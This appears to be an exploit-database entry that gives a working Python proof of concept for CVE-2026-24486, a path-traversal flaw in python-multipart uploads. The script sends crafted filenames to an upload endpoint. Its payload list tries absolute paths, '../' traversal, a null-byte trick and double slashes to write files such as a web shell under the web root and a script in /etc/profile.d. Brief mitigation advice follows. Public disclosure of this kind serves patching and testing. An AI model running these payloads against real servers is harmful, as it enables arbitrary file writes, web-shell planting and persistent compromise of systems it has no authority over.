Python-Multipart 0.0.22 Exploit, Path Traversal

# Exploit Title: Python-Multipart 0.0.22 - Path Traversal
# Date: 2026-02-23
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/Kludex/python-multipart
# Software Link: https://pypi.org/project/python-multipart/
# Version: < 0.0.22 (REQUIRED)
# Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)
# CVE : CVE-2026-24486

"""
PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.
Allows arbitrary file write via malicious filename.

"""

import requests
import time
import os
import sys


TARGET_URL   = "http://localhost:8000/upload"
SOURCE_FILE  = "/etc/hosts" # Small file to upload (content written to target)

if not os.path.exists(SOURCE_FILE):
    print(f"[!] Source file not found: {SOURCE_FILE}")
    sys.exit(1)

# Malicious filenames (payloads)
payloads = [
    "/tmp/poc-abs.txt",
    "/etc/poc-etc.txt",
    "/root/poc-root.txt",
    "../../var/www/html/shell.php",
    "../../etc/profile.d/mal.sh",
    "../../../tmp/poc-deep.txt",
    "../../etc/passwd%00.txt",
    "//etc//poc-double-slash.txt",
]

print("[*] CVE-2026-24486 PoC")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Using source file: {SOURCE_FILE}")
print(f"[*] Testing {len(payloads)} payloads...\n")

for i, filename in enumerate(payloads, 1):
    print(f"[{i}/{len(payloads)}] Testing: {filename}")

    try:
        files = {
            'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')
        }

        r = requests.post(TARGET_URL, files=files, timeout=8)

        print(f"    Status: {r.status_code}")
        if r.text.strip():
            print(f"    Response: {r.text.strip()}")
        else:
            print("    Response: (empty)")

    except Exception as e:
        print(f"    Error: {e}")

    print("-" * 50)
    time.sleep(1.0)

print("\n[*] Done.")
print("Verify files in container:")
print("  docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null")
print("\nMitigation:")
print("  - Upgrade: pip install python-multipart>=0.0.22")
print("  - Avoid UPLOAD_KEEP_FILENAME=True")
print("  - Sanitize: filename = os.path.basename(file.filename)")

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD